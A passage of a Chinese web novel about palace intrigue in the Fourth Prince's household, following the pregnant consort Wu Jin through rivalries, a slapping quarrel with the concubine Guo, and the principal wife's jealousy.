“格格,你要去哪?”君梅不解问道。
“我要去找主子爷。”
君梅愣了一下,这府里是有些风言风语的,因为格格跟章佳小主是一同进府,只是这半个月,主子爷只让章佳小主侍寝,似乎忘了格格,府里的人都说格格不如章佳小主得宠。
格格这半个月也只是看看书,膳食摆上来时忍不住叹气,没去找过主子爷,今儿怎么突然想去找主子爷了?
君梅不敢耽搁,忙把一件鲜绿色的旗装找出来给格格换上,她跟着格格打开那道一直没打开过的侧门进前院。
高昌义见到有人从侧门进来前院,定眼一看发现是乌格格,他是主子爷身边的太监之一,不过没有苏培盛那样跟着主子爷进进出出,苏培盛是主子爷身边一把手的话,他算是三把手,这三把手还不是十分牢固,底下有
的是人想爬上来占他的位置,还有一个贺公公是二把手,深得主子爷信任,替主子爷在外面传话办事。
他对乌格格一直有所耳闻,也远远见过几面,他不傻,虽说这半个月,主子爷宠幸章佳小主比较多,但乌格格住的桃园离前院很近,甚至比福晋的云水堂都近,为何有那扇小侧门存在,细想一下就明白了,真正得宠的人绝对是乌格格。
所以他不敢怠慢乌格格,连忙迎上去,打个千:“奴才高氏给格格请安,格格万福。”
乌锦对四阿哥身边的奴才还没有全部见过,这人面生,她没见过,她问了一句:“主子爷在吗?还请高公公帮我通传一声,我想见主子爷。”
“格格稍等,奴才这就去。”
高昌义连忙进书房通传,过一会儿出来就请乌格格进屋。
乌锦进去后给四阿哥行礼。
“你有身子,以后不用行礼,你怎么还不显肚子?”
跟在主子后面的君梅一听到主子爷说有身子三个字,已经惊得合不拢嘴,格格有身子了?格格从来没跟她们说过这事,她丝毫没有察觉。
胤禛也见到诧异的丫鬟,挥挥手示意屋内的人都出去,他示意人过来,一过来他拉住她的手,让她到腿上坐着,把人搂在怀里后,他忍不住亲了亲她脸颊,从脸颊再到红唇。
乌锦也没有挣扎,等他亲完后,她用控诉的眼神看向他。
“怎么了?”
“我想吃肉,你的孩子想吃肉,想顿顿吃肉,鸡鸭鱼猪牛羊肉都想吃,你的孩子也想吃各式各样的水果。”
胤禛一听这话,直接笑出声,揉了揉她的脸,这张脸就是吃肉变圆的。
“我没在说笑,怎么我进府后连肉都要吃得节制,我还以为我进府后可以吃香喝辣,我发现事实相反,我每个月的份例很少,福晋是不是故意不给我吃的。”
其实这事怪不得福晋,他们从宫里搬出来,等于是自立门户,这府邸的吃喝用度都跟宫里不一样,内务府虽然还是每个月给他们送来不少东西,但因为府里的人多了,原本那些东西在宫里够吃够用,在宫外就变得不够了。
养家不容易,他也发现这府里的开销不小,全府上下靠他一个人来养,于是他跟福晋商量在吃喝用度上节制一些,主子们不能想吃就吃什么,不能太浪费。
他倒是忽略这人喜欢吃,特别是肉,也怨不得她抱怨,她以前想吃什么就想吃什么,他没有拘着她,毕竟只养她一个人花不了多少银子,她再怎么吃都吃不了多少,但府里上下五十多个人就不一样了。
“跟福晋无关,你想吃的话,我让人去交代膳房那边,你想吃什么,都让他们给你做。”
“那福晋不是发现我吃得特别多,超出一个格格的份例?”
“你多吃的份额记在前院这边。”
乌锦这才满意抱住他,在他怀里蹭了蹭,“谢谢主子爷。”
“我摸摸肚子。”
胤禛的手从衣服下摆伸进去,摸了摸她肚子,一摸感觉还是有变化,原本软软的肉已经变得有些硬实,算算日子,她已经满三个月了,只是不细看的话,看不出来她已经怀孕。
“爷,我想要。”
胤禛看向她,把她看得不好意思,她这是想勾他,他忍住道:“不行,刚满三个月,不能乱来,再忍忍吧。”
乌锦心想他当然忍得住,后院那些女人,他想让谁侍寝就让谁侍寝,哪有空想她,不过这次过来目的达到了,她心情很好地主动亲他,缠着他吻了好一会。
“好啦,不许再闹,我还有公务要处理,晚上再过去你那边,你先回去吧,明日就可以吃上肉了。”
乌锦刚想起身离开,但是他不放人,她疑惑地看他。
“我这半个月不找你,你有没有怨我?”
“没有,我知道主子爷是为我好。”
枪打出头鸟,他这是让章佳氏帮她分担火力,免得后院那些女人觉得她十分得宠,她明白他为何频频召章佳氏侍寝。
“还不算太笨。”
乌锦勾勾唇,心想她本来就不笨,她笑道:“好啦,我走了,不打扰主子爷忙正事。”
胤禛点点头,放她离开。
乌锦从前院这边回桃园,君梅紧紧跟在她身边,生怕她摔倒,她看了一眼过度小心的君梅,没说什么。
回到桃园后,君梅也没把她怀孕的事告诉听春她们,只是她起身还是走路,她就一直想搀扶她。
傍晚,四阿哥过来跟她一起用膳,夜里,他在她这里歇下,他们除了没进行到最后一步,其它的都做了。
过两天,小才子进屋,跟她说李格格怀孕了,听说怀了两个月,府里传遍了。
乌锦记得李氏生了二阿哥弘昀跟三阿哥弘时,所以李氏怀孕这事,她不是特别诧异。
“确定是真的吗?若是真的,我得过去给李格格贺喜。”
“应该是真的,听说请了太医进府把脉确定的。”
乌锦称赞道:“小才子,你差事办得好,下个月发月银多给你一两银子。”
小才子不好意思地挠挠头,他好不容易从洒扫太监变成格格身边的大太监,怕被赶走,他自然得想方设法留下来,于他而言,乌格格这就是很好的前程,他得牢牢抓住机会,不能被退回内务府。
“这是……是奴才该做的。”
“以后府里有什么事及时告诉我。”
小才子连忙点头说他知道了。
乌锦带着君梅先过去宋格格那,这半个月,她跟宋格格关系还行,虽然没到推心置腹的地步,但能说几句话,聊上几句。
宋格格比福晋还要早伺候四阿哥,是她们这些人当中年纪最长的,生过一个孩子都夭折了。
她先问宋格格是不是李格格真的怀孕,若是真的怀孕了,她该不该去给李格格贺喜。
“是真的,你随我一起吧。”
乌锦感激说道:“谢宋姐姐愿意带我,我跟李姐姐还不是很熟悉,不敢贸然过去。”
宋格格笑着说李格格很好相处,这府里其实没有难相处的人。
她们一起过去李格格的院子,李格格因为育有大格格,也有独院,跟大格格住在一块,来给李格格贺喜的不止有她们,还有郭侍妾。
因上一次郭侍妾不满她伺候的奴才多,她跟郭侍妾没什么往来,两人只是淡淡地互相点点头算是打过招呼。
乌锦不会热脸贴屁股,更何况她才进府半个月,一切都还不着急,她们几人给李格格贺喜,虽说李格格只有两个月身孕,但她小腹微隆,生过孩子的人比较容易显肚。
李格格看上去也没有那么高兴,比较平静,她说怀孕不是什么大事,孩子生下来能养大才是好事。
这话让她们三人都不知如何接话,只能顺着她说的确如此。
等从李格格那院出来后,宋格格才跟她说李格格先前生下一个小阿哥,小阿哥过了周岁就夭折了,上一年的事,所以李格格才会这么说,担心孩子夭折。
“孩子的确要十分精心照料,不是易事。”
宋格格叹口气:“是啊,孩子脆弱,不过妹妹也不用太担心,你这么年轻,若是有身孕满月生下来,孩子肯定康健。”
“但愿如此。”
宋格格抬头看看天,说今儿天气好,晴空万里,邀她一起走走。
乌锦也正好想熟悉府邸各处的路,于是跟宋格格在府里随便走走逛逛。
因是初春,地面上的草冒出来
,嫩绿嫩绿的,到花园这边,移栽过来的树木跟盆栽里的花更是长得很好,空气也十分清新。
她深吸一口气,只觉得沁人心脾。
“没想到这里也有桃树,跟乌妹妹院子里种的那两棵桃树很像。”
乌锦顺着宋格格指的桃树看过去,这里的桃树明显比她院子里的要高大许多,甚至树上都开始开花了。
“我听说妹妹的小名叫桃子,也这是妹妹院子里种桃树的缘故吧。”
乌锦看向宋格格,总觉得宋格格话中有试探之意,她否认道:“许是巧合吧,桃树可能好种一些。”
“你看这花开得真好。”
宋格格很快转移了话题,乌锦顺着问是什么花,她对花的品类不是很了解,当宋格格说是月季时,她才点点头。
她们在花园里待了两刻钟,看完花后还到亭子里面坐一坐。
乌锦回来后打了好几个喷嚏,君梅立即十分紧张地看着她。
“格格,你是不是着凉了?”
君梅转身拿来披风给她穿上,乌锦觉得可能是花粉的缘故,怀孕的人比较敏感。
许是知道自己对花粉敏感,她就没有再去花园,老实待在桃园。
四月二日,宋格格再过来串门时,忽然盯着她的肚子,诧异道:“乌妹妹,你这是怀孕了吧?看起来有三个月了。”
乌锦知道她怀孕的事随着她肚子变大,就不可能一直瞒住,她见宋格格发现,就顺势承认:“是怀孕了。”
她没有说是几个月,其实她已经怀孕四个月了,这旗装宽松,加上她本身就不瘦,一直没怎么显肚,别人才没有发现。
宋格格瞪大眼睛:“真的吗?乌妹妹,你怎么瞒这么久,是在外面就怀上了吗?主子爷他知道吗?”
乌锦没有否认也没有承认,说主子爷知道,先前周太医给她把过脉。
“天哪,我们一直没有发现,你岂不是比李格格肚中胎儿月份还要大?”
“嗯,我月信一向不准时,我也是前一阵子才发现的。”
“乌妹妹真是好福气,主子爷子嗣少,乌妹妹若是能生下一个小阿哥,妹妹以后的荣华富贵就不用愁了。”宋格格语气不由地带上一点醋酸味,有些嫉妒乌锦已经有身孕。
“说不定是个格格。”乌锦假装没听出宋格格话里的酸味,语气平静道。
“格格也好,不管怎么样还是恭喜乌妹妹了。”
乌锦笑着收下宋格格的恭喜。
70-80
第71章第71章更新
第71章
不到一日,乌锦怀孕的事已经传遍贝勒府,本来四阿哥后院就那么几个主子,她们陆陆续续过来给她贺喜,甭管是不是真的恭喜她,面上都是和和气气的,看上去都像是真心为她高兴,除了郭氏。
郭氏过来时先是上下打量她,说她肯定在外面就怀上了,进府这么久,只字不提,瞒着她们,是想把她们当傻子看。
乌锦说她肚中胎儿先前还不满三个月,未满三个月不好对外人说,郭氏还想说什么时,被一旁的张氏扯了扯,她才没有继续说。
过一会儿,福晋也带着人过来。
桃园这里是难得热闹,等她们都离开后,乌锦也乏了,回床上睡一觉。
福晋乌喇那拉氏这边回到云水堂后,脸色有些凝重,沉默半响后开口问道:“嬷嬷,你觉得乌氏那身子是几个月的身子?”
崔嬷嬷毕竟生育过几胎的人,她说可能有三个月以上了。
乌喇那拉氏手不由地抓紧炕桌桌角,乌氏肯定有三四个月的身子,她竟然没瞧出来,别人看不出来,但她很清楚四阿哥对乌氏的喜欢,乌氏一个格格住的院子是独院,不仅是独院,还离前院只有一墙之隔,比她这个福晋的院子离前院都近。
别看四阿哥这半个月连着让章佳氏侍寝,给人觉得是章佳氏比较得宠,但她知道只是障眼法罢了,真正的心肝不仅一进府就封为格格,还有四个奴才伺候,如今更是有三四个月的身子,再过半年就能诞下一个小阿哥。
她不信四阿哥不知道乌氏怀孕了,恐怕正是因为乌氏怀孕了,四阿哥才想尽快迁宫。
“嬷嬷,你说要是乌氏生下小阿哥,那乌氏的孩子会不会越过弘晖,更得四阿哥的心。”
崔嬷嬷赶紧宽慰不安的福晋:“不会的,小阿哥是嫡长子,乌格格家世低,她的孩子肯定比不上小阿哥尊贵,更何况乌格格这一胎还不知道是格格还是阿哥呢,哪怕是阿哥,这孩子养得大才是最重要的,福晋,你忘了李格格的弘盼小阿哥了嘛?”
崔嬷嬷还是让乌喇那拉氏心宽不少,是啊,乌氏的孩子还没生下来,要是是个格格,那她就更不必这么早忧虑。
不过乌氏这孩子在府外就怀上了是铁定的事实,如今乌氏跟李氏都有身孕,身为福晋,乌喇那拉氏还是交代道:“崔嬷嬷,你让膳房的人注意紧着点乌格格跟李格格,她们如今怀有身孕,轻视不得。”
崔嬷嬷心想不用福晋特意交代,膳房那帮奴才估计都会见风使舵,上赶着巴结乌格格跟李格格,这后院除了福晋,不就是两个有身子的格格最值得讨好,虽是这么想,她还是点头应是。
乌喇那拉氏又让人把弘晖抱过来,她陪着两岁的弘晖玩一会。
……
傍晚,小才子过去膳房提膳,膳房的人很快就将格格的膳食给他拿过来,前几日他们的动作可没有那么快,总是让他等一会才能拿到膳盒。
小才子明白他们是知道格格有身子了,才不敢怠慢,也存着巴结的心思,甚至还给他倒茶水。
小才子连忙道:“我家格格等着吃呢,我不敢耽搁,先走了。”
“才公公慢走。”
小才子点点头,提着膳盒快步回桃园。
“今儿这么快?”君梅见小才子才刚去不久就回来了,不由地说了一句。
“膳房的人早早就备好了,没让我多等,君梅姑娘,你拿进去给格格吧。”
君梅在三个丫鬟中年纪最长,十九岁,自然而然就成为三个丫鬟中主事的人,她把膳盒拿进去,往膳桌上摆好后才唤格格过来吃。
乌锦瞧着今日明显丰盛的膳食,也没有太意外,她吃饱后把剩下的分给君梅他们。
奴才基本上是等府里的主子都吃好后,他们才过去膳房那边拿他们的膳食,平日里不会像主子吃得那么好,三餐不见肉是常有的事,甚至有些只有两餐,主子吃剩下来的肉菜赐给他们,他们是很高兴的,能吃得比平时丰盛。
有些主子心没那么好,觉得奴才不配跟主子吃一样的食物,哪怕剩了也不让他们吃,小才子在宫里几年也见过不少这样的主子,对比下来,他才觉得乌格格心善,如今格格又有身子,等小阿哥生下来,他们这些奴才也会水涨船高。
小才子顿时觉得日子有奔头了,果然出宫入贝勒府是个好决定,他伺候格格就更上心了。
乌锦因为怀孕已经到中后期,腰骨泛酸,精力没那么好,她怀孕的事在府里热闹个几天又很快沉寂下来,她睡觉的时辰比以前多了,也发觉自己胖了不少。
怕胎儿太大,她每日都在府里走走。
四阿哥来她这的次数也变多一点。
四月底,府里办了乔迁宴,据说请了阿哥们过来,府里热闹了一天,因为乌锦怀孕,那几天吐得厉害,身子不适,就只待在桃园里,没参加宴席。
日子一天天过去,她渐渐来到怀胎六月,肚子又大了不少,乌锦在房间内吃着五月的龙眼,听说这一批龙眼是内务府那边送过来的。
龙眼是六七月才成熟盛产,五月成熟的龙眼少,说是今年皇庄那边第一批龙眼,送到贝勒府这边的也只有十斤而已,再分到她这只有一斤。
好在四阿哥见她喜欢吃,把分到他那边的龙眼分一半给她。
“格格,主子爷过来了。”听春进来通禀。
“知道了。”乌锦不
疾不徐地继续剥着龙眼,等四阿哥进来,她也只是抬头看他一眼。
“这阵子好些了吗?”胤禛问道,前阵子她吐得厉害,吃什么都吐,他都忍不住开始担心她。
“好多了。”
胤禛说还有两三个月,她就要生了,他准备给她找两个奶娘还有接生产婆,让她们再过两个月准备入住府里。
乌锦难得感激地看着他,这几个月,他对她的上心,她是看在眼里的,他提前给她找好奶娘跟接生产婆,基本上这些事情,她不怎么操心,他主动帮她操办了,不假他人之手,她好像只需要好好把孩子生下来,其它事情都交给他,他已经提前安排好一切。
“主子爷这么体贴我,我铭记在心。”
胤禛笑道:“你知道就好,弘晖出生的时候,我都没有这么操心,我待你这般好,你要是不感激我,你就是没良心的人。”
“我努力当个有良心的人,爷,要不陪我出去走走吧,我吃多了想消消食。”
胤禛无奈看她一眼:“你吃什么都想一次吃个够,这龙眼再过一两个月就会再有的,你别担心以后没的吃。”
乌锦主动起身,拉起他的手往外走,不想听他唠叨那么多,出了桃园后,她就放开。
在外面跟他手拉手,被别人瞧见了肯定有些闲话,别小看女人的嫉妒之心。
胤禛也没说什么,跟她并肩在府里走走,先去到花园那边,他跟她说他想在花园这边挖一个小池塘,养养鱼。
“那就挖啊,养鱼挺好的。”
胤禛敲她额头一下,“挖池塘哪那么容易,请人来挖是要银子的,鱼也不是那么好养活,还得让奴才专门照看,你是不当家不知道钱难挣。”
“爷,你身为贝勒,月俸多少?”
“二百两。”
乌锦觉得二百两不少了,不过想着贝勒府这么多人呢,指着他一个贝勒养,每个奴才都要发月银,好像是有点不够,当然,她也不信他会指着这点月俸过日子,肯定有别的收入,别人也会给他上供。
“这池塘的事不着急,以后再说,爷先好好攒点银子,别一下子花光。”乌锦改口道。
“怎么,怕我跟你要银子?”
乌锦认真道:“我觉得主子爷不是这样的人,你肯定不会跟女子要银子的。”
胤禛轻哼一声,心想这乌锦倒是了解他,他不屑于跟内宅女子要银子,男子汉大丈夫,本就该养家,伸手跟女子要钱算什么本事。
乌锦觉得四阿哥样子有些傲娇,她捏了捏他的脸。
“捏三岁小孩呢。”
乌锦轻笑,手上力道重一些,说道:“主子爷皮糙肉厚的,应该不疼。”
“你才皮糙肉厚,被你说得我好像是做粗活的奴才。”
这一幕在后方的乌喇那拉氏跟李氏眼里就是打情骂俏了,乌喇那拉氏陪李氏来花园这边逛逛,李氏如今也怀胎四月了,小腹跟乌氏六个月的胎儿差不多大。
乌喇那拉氏见到四阿哥跟乌氏有说有笑,两个人有着说不出的亲昵,看上去像是恩爱万分的一对,四阿哥这个人外人看来是一个很温和的人,举止也温柔,但她知道四阿哥骨子里是偏冷漠的,有时候他嘴角是笑着的,但笑意不达眼底,她第一次见四阿哥是从眼里溢出来的温柔,他看向乌锦的眼神是温情脉脉的。
乌喇那拉氏不由地捏紧手帕,再偏头看李氏,李氏还是很平静的样子,仿佛这一幕对她而言没什么。
李氏就是这种性子的人,她在后院里属于不争不抢的人,很少跟人发生冲突,也不争风吃醋,她对孩子比较看重,所以弘盼夭折的时候,她伤心难过了大半年,对四阿哥相反就没有那么上心,但比起后院其它女人,她这种性子反而更得主子爷的欢心,所以在乌氏之前,她侍寝最多。
乌喇那拉氏出声道:“李妹妹,我们上去跟爷打声招呼吧。”
“嗯。”
她们上前,乌喇那拉氏笑道:“主子爷,乌妹妹,没想到会在这里碰到你们。”
乌锦给福晋福福身。
“乌妹妹,不必多礼,你这肚子瞧着又大不少,这阵子不好受吧,我当初怀弘晖的时候,这么大的肚子也不好受,坐也不是站也不是,这腰怎么都不舒服。”
乌锦顺着福晋的话回道:“是,所以才想着出来走走,在屋子里坐久了,这腰酸得很,李姐姐,你怎么样了?”
李氏说她这边一切都好,先前已经生过大格格,她已经适应了。
乌喇那拉氏瞥一眼四阿哥,知道四阿哥是跟乌氏过来的,她们的出现反而打扰到他们,不好久留,她便说道:“我跟李格格逛得差不多了,我们先回去了。”
“恭送福晋跟李姐姐。”
乌喇那拉氏笑着对乌氏点点头,然后跟李格格一块离开。
回到云水堂后,乌喇那拉氏脸色阴沉,一个如此貌丑之人,竟然能得四阿哥的喜欢,她真是不甘心,她努力了这么多年都没能得到四阿哥的侧目青睐,乌氏轻而易举就得到了。
四阿哥有这闲心陪乌氏逛花园,同样怀孕,四阿哥可曾想过陪李格格逛花园,四阿哥装了两个月就装不下去了,最得宠的人果然是乌氏。
如今乌氏暂时还安分,以后就说不准了。
也怪这后院没有人能笼住四阿哥的心,一个个都不中用,想要抬举人分宠都没有机会。
万一乌氏真的生下阿哥呢,乌喇那拉氏不敢想,四阿哥的心已经在乌氏那,再生下阿哥,以后乌氏岂不是在后院横着走。
乌喇那拉氏脑中闪过一个念头,不想让乌氏生下这个孩子,后面她冷静下来后,才放下这个念头。
过两日,五月三十日傍晚,天色渐暗,远边的天空只剩下一层薄薄的金色余晖。
四阿哥到云水堂跟她一块用晚膳,乌喇那拉氏让膳房做了满满一桌菜。
“主子爷,乌妹妹跟李妹妹如今都有身子,不能侍寝,爷该召郭妹妹她们侍寝,郭妹妹她们也好为主子爷绵延子嗣。”
“知道了。”
乌喇那拉氏亲自给四阿哥布菜,夜里四阿哥在她这里歇下,第二天傍晚,她听说四阿哥召郭氏侍寝,她才松一口气。
过后几天,四阿哥又连着召郭氏侍寝。
郭氏这边难得被连召侍寝,高兴得没边了,顿时觉得自己也开始得宠了,前一阵子府里上下都说乌格格得宠,哪怕乌格格怀孕,四阿哥要去乌格格那过夜。
如今主子爷召她侍寝,她比乌氏貌美,也比乌氏小两岁,主子爷应该更喜欢她才是。
她心情好,白天约着张氏去花园走走,恰巧碰到同样来花园的乌氏,乌氏肚子已经很大了,被两个丫鬟小心护着。
她走到乌氏面前,打量乌氏,始终觉得乌氏长得不好看,更别说现在怀孕了,人都胖了不少。
“乌姐姐,你既然肚子都这么大了,就不该出来乱走。”
乌锦挑眉,眼里诧异,她出来走走碍着谁了,这花园又不是郭氏一个人的,瞧着郭氏趾高气昂的样子,她有种哭笑不得的感觉,她平静道:“是,郭妹妹说的是,我这肚子的确不方便随便乱走。”
她听说郭氏跟宫中宜妃娘娘沾点关系,算是娘娘的远房堂妹,原本是姓郭络罗氏,后面父辈随汉姓改姓郭,往上祖辈还是满族出
身,并非汉民。
“乌姐姐,你既然怀孕了,又不能侍寝,就不该勾着主子爷去你那里,别学一些勾栏做派,你都进府当主子了,已经不是外室了,就该规规矩矩的。”郭氏眼神带有轻蔑,直接命令道。
乌锦看着郭氏,不明白她为何在她面前这般颐指气使,她好歹是格格,而她是侍妾,她明明比她低一等,方才见到她不行礼就算了,怎么敢直接命令她,她不是软性子,回呛道:“郭妹妹,我是格格,你是侍妾,你跟我说话时别居高临下的,我怎么做还轮不到你来教,主子爷去哪里,你更管不着,有本事你让主子爷天天去你那。”
“你……”郭氏见乌锦反驳,气得一时想不出话来反驳,眼睛瞪大。
“郭妹妹,你别把我的忍让当成理所当然,以下犯上,你别忘了你只是侍妾,我要是想打你,也没有人会说什么。”
“你敢!”
“你看我敢不敢!”
郭氏被乌锦凌厉的眼神吓到。
张氏连忙打圆场:“乌格格,郭妹妹不是故意的,你消消气,大家姐妹一场,何至于要动手,是郭妹妹不对,她已经知错了,还请格格大人不计小人过。”
“祸从口出,郭妹妹以后要小心说话,不是谁都会忍让你。”
郭氏觉得自己被一个外室教训,她这几日又得宠,顿时脸上挂不住,气得抬手扇乌锦一巴掌。
张氏也没想到郭氏会突然动手,她明显吓一跳,试图把郭氏拉开,乌格格此时怀着孕呢,万一有个好歹,她们恐怕都得死吧。
“郭小主,你干什么?”君梅上前挡住自家小主,怒瞪着郭小主,“你怎么能打人?”
郭氏人打都打了,后悔都来不及,她只能硬着头皮道:“我就打了怎么啦,是她想要打我在先。”
仔细一听,她语气不足,略显心虚。
挨了一巴掌的乌锦也有些动怒,她示意君梅让开,她冷冷盯着郭氏,还横了一眼想要阻拦的张氏。
张氏不敢再拦,这口气不让乌格格出的话,到时候倒霉的绝对是她们。
“你……你想干什么,我告诉你,我堂姐可是宜妃娘娘。”
乌锦抬手一巴掌还回去。
郭氏疼得大叫:“你……你……你别以为我不敢再打你。”
张氏扯住郭氏的手,让她冷静冷静。
“郭妹妹,乌格格是有身子的人,此事是你有错在先,你别再火上添油了。”
郭氏也没有完全失去理智,她知道乌锦肚子里的孩子有什么闪失,她绝对吃不了兜着走,她没敢上手推乌锦,她怒道:“我们走着瞧。”
然后转身气呼呼地离开。
张氏跟乌锦说一声对不起,然后跟上郭氏。
“格格,你没事吧?”君梅担心地看着自家主子。
乌锦摇摇头说她没事。
“好啦,回去吧。”
……
这事过半个时辰传到福晋那,崔嬷嬷忍不住道:“福晋,这郭侍妾总是意气用事,乌格格肚中的孩子要是有什么闪失,看她如何收拾。”
乌喇那拉氏看中的就是郭氏冲动的性子,她反倒希望郭氏把乌氏的孩子弄掉,省得她日夜焦心,生怕乌氏生出一个阿哥。
“算了,别关我们的事,不用理会,当做不知此事,乌格格要是觉得自己受委屈,她可以去跟主子爷抱怨,用不着我们出来支持公道。”
过了好几天,府里很平静,显然乌氏没有跟主子爷抱怨打小报告,乌氏还是很能忍的,这女人不容小觑。
郭氏那边也没什么动静,主子爷也没有再让郭氏侍寝,换成宋氏她们。
乌喇那拉氏听说主子爷已经为乌氏找好奶娘跟接生产婆,不得不说主子爷对乌氏这一胎真的很看重,亲力亲为,她生弘晖的时候,奶娘都是她自己往娘家人那边找的,主子爷只是过问两句,这到底是爱屋及乌,还是主子爷看中乌氏肚子里生出的那个孩子。
乌氏应该还有两三个月就生了。
乌喇那拉氏只能祈愿乌氏这一胎是格格。
……
眨眼间来到七月初,京城进入炎热的夏季。
屋内像是一个大蒸笼,乌锦热得不行,偏偏君梅几个丫鬟生怕她着凉,一点冰都不让她用,这孕妇本来就不耐热,她每日出汗都特别多。
三个丫鬟轮流给她扇风,她都觉得不够。
她热得在房间内穿着薄纱,衣衫不整就衣衫不整了,炕桌上摆着一盘龙眼,都说孕妇容易血糖高,她也没有毫无节制地吃,吃几个过过嘴瘾就不吃了,前些日子吃太多了。
外头有人敲门,听春过去开门,小才子说宋格格过来了,听春回头看她,乌锦让他们等一会,她重新穿上衣服,简单梳化一下,衣着整齐后让宋格格她们进来。
宋格格一进来就说她这屋热。
“是啊,我都说放些冰块在屋里解暑,这几个丫鬟拦着不让。”
宋格格来得多了,不客气地坐在炕几另一边,她笑道:“她们也是为你好,你如今肚子都这么大了,是不能贪凉,孕期生病可不是小事,你看李氏这几日发烧,连药都不能用,只能硬抗。”
“李姐姐还没好?”
“没呢,听说反反复复,还没退烧,我去看过她了,很是虚弱,可怜的,不知怎的,突然就生病了,许是被大格格传染的。”
李氏这几日生病,应该说是大格格先生病,李氏再生病,连带着弘晖小阿哥都生病了,这感冒之症容易传染人。
宋格格又说道:“你也要小心,你身边伺候的奴才这阵子也最好别接触生病的人,你都快生了,更轻视不得。”
“多谢姐姐提醒,我会让他们小心点的。”
“大概什么时候生?”
“九月左右。”
宋格格说应该是个阿哥,乌锦笑了笑,几乎每个人都跟她说是个阿哥,反正在贝勒府,阿哥比格格尊贵一些。
“我觉得是阿哥是格格都不要紧,只希望孩子平平安安,康健就好,还有生的时候能顺利。”
宋格格肯定道:“放心吧,肯定能顺顺利利的。”
“但愿如此。”
乌锦越到预产期越不安起来,且不说现代的医疗技术,生孩子都要走一趟鬼门关,古代的就更不用说了,一只脚恐怕已经在鬼门关那了。
她跟宋格格说话之际,四阿哥过来了。
宋格格很有眼色地告辞,退了出去。
“再撑一个月就好了。”
乌锦也勾勾手指示意他过来,她抓起他的手,直接咬一口。
胤禛知道她这段日子难熬,也任由她发泄了。
“我以后不要再生孩子,爷也别叫我侍寝。”
“说什么傻话。”
乌锦板着脸,她是真的这么想的,谁爱生谁生去,她是不想再生,她盯着他,严肃道:“我是说真的,一个就够了,我不要生第二个,你以后去别人那吧。”
“就这么不舒服?”
乌锦点头,她夜里都睡不着,怎么睡都不舒服,这肚子总觉得被什么东西压着。
胤禛这个时候只能顺着她,说以后不生了。
“这是你答应我的。”
“嗯,你不想生就不生。”
乌锦知道他这是在哄她,算了,愿意哄她就行,她站起来,大着肚子勾着他脖子。
胤禛亲她,虽说三个月后可以行房,但实际上他们在她怀孕满三个月后行房的次数少之又少,她肚子这么大,他生怕弄疼她,也怕弄到孩子,做的最多就只有亲吻。
“以后再慢慢补回来。”
乌锦嗔他一眼:“少说不要脸的话,以后别碰我,我想到是你害得我这么辛苦,就不想再见到你。”
胤禛笑了笑,手往下摸了摸她身上最柔软的地方。
“这里大了不少。”
乌锦把他的手拍开,瞪他:“你要点脸,别碰我,这天热得很,我不想出汗。”
胤禛在这房间待一会也觉得很热,不过她目前不能着凉,不能过冷气,这府里已
经有三个主子生病,不能再多一个她,尤其是她快要生了,
他就没有继续逗她,让人把他的午膳摆到这边。
乌锦吃过后就犯困了,她也没管他,自个躺回床上睡觉。
胤禛看她睡着后才离开,过去云水堂。
再过十天就是德妃娘娘的生辰,他问福晋生辰礼备好了没有。
“早就备好了,主子爷不用担心,爷,这次进宫带谁过去?”
“乌氏跟李氏不用带,两个孩子生病也不必带过去,其它的,你自己看着办吧。”
“我知道了,还有大阿哥那边也要迁宫了,我们是先送礼还是等到大阿哥那边办乔迁宴再送入厝礼?”
胤褆慢他半年才迁宫,胤祉还没有迁宫的迹象,他的府邸还没建好,至于老五他们反而不着急搬出宫外,因他早胤褆迁宫,胤褆怕是一直记着这事,这礼不能送薄了。
胤禛想了想,说:“你备一份薄的等乔迁宴时再送,我这边再给他送一份厚的提前送给他。”
“行,我知道了,我会照着大福晋他们给我们送的礼添着点准备的。”
“弘晖怎么样了?”
福晋说这几日一直在流鼻水,还有点低烧,胤禛便想着过去看看弘晖。
福晋直接让人把弘晖带过来。
弘晖虽然生病,但不哭不闹,还想着玩,手里正拿着一个老虎布偶,见到他乖乖叫阿玛,胤禛半蹲下来跟弘晖说话。
“有没有乖乖喝药?”
弘晖眼神躲避。
福晋说他喝药时闹了半天,打洒一碗汤药,强行喂他才喝了半碗。
胤禛柔声道:“得乖乖喝药,只有乖乖喝药才能好起来,你还想不想跟你大姐姐一起玩啦?”
弘晖点头。
府里孩子少,弘晖喜欢跟着曦玉一块玩,胤禛说得喝药才能跟姐姐一起玩。
“阿玛,玩,一起玩。”
“阿玛陪你玩一会吧。”
“姐姐一起。”
胤禛摇头,曦玉还在病着,比他还严重一些,两个孩子一起玩的话免不了又互相传染,他说他陪他玩,不用姐姐。
小孩子注意力很快被转移,胤禛陪弘晖玩了好一会,弘晖快三岁了,等他三岁时,他就要教他写字骑马,三岁之前还是想怎么玩就怎么玩。
乌喇那拉氏看着四阿哥陪弘晖玩,他耐心十足,温柔无比,她就是看着也觉得暖心,还好四阿哥对弘晖这个孩子是很上心的,其实四阿哥对孩子都很好,对大格格也好,愿意花时间陪孩子玩。
乌喇那拉氏不由想到自己的阿玛,相反,她小时候自己的阿玛就没怎么陪他们玩,阿玛觉得他是男子,管教子女都是女子的事。
一对比起来,四阿哥算是尽职的父亲。
傍晚,四阿哥留在跟他们一起用膳,弘晖生病,胃口不怎么好,膳房的人给他弄了香菇乌鸡粥,粥糜烂,容易进食,他才勉强喝一碗。
晚膳过后,四阿哥瞧着要在这里过夜,乌喇那拉氏沐浴时就让人给她涂抹了玫瑰花露。
夜里,明月高悬。
乌喇那拉氏攀着四阿哥的脖子,努力伺候四阿哥,她知道四阿哥来她这里的次数越来越少,要不是因为她是福晋,恐怕四阿哥一个月都不来一次。
她想要讨四阿哥的欢心,只是四阿哥表现得很冷静,看不出愉悦的样子,一如既往。
她心想四阿哥在乌氏是不是也是这样,不对,她上一次见到四阿哥跟乌氏在花园里打情骂俏,在乌氏面前的四阿哥生动鲜活许多,情绪是外露的,他在乌氏那里肯定不是这样的。
她跟四阿哥成亲多年,四阿哥对她早就没有新鲜感了,他例行公事地完成。
事后,他们叫水,简单清理一下就歇下。
乌喇那拉氏心里还是没法释怀,以前她觉得四阿哥就是这样的性子,没见他特别喜欢谁,如今她见到他喜欢一个人是什么样子,事事操心,主动为乌氏安排好一切,她就忍不住嫉妒起来。
男人偏心起来真是让人心梗。
郭氏已经很久没有侍寝了,自从上次她跟乌氏起冲突后,四阿哥就再没有召郭氏侍寝,虽说郭氏也没有犯下什么大错,顶多是扇乌氏一巴掌,四阿哥就这么心疼,这么动怒,直接让郭氏失宠。
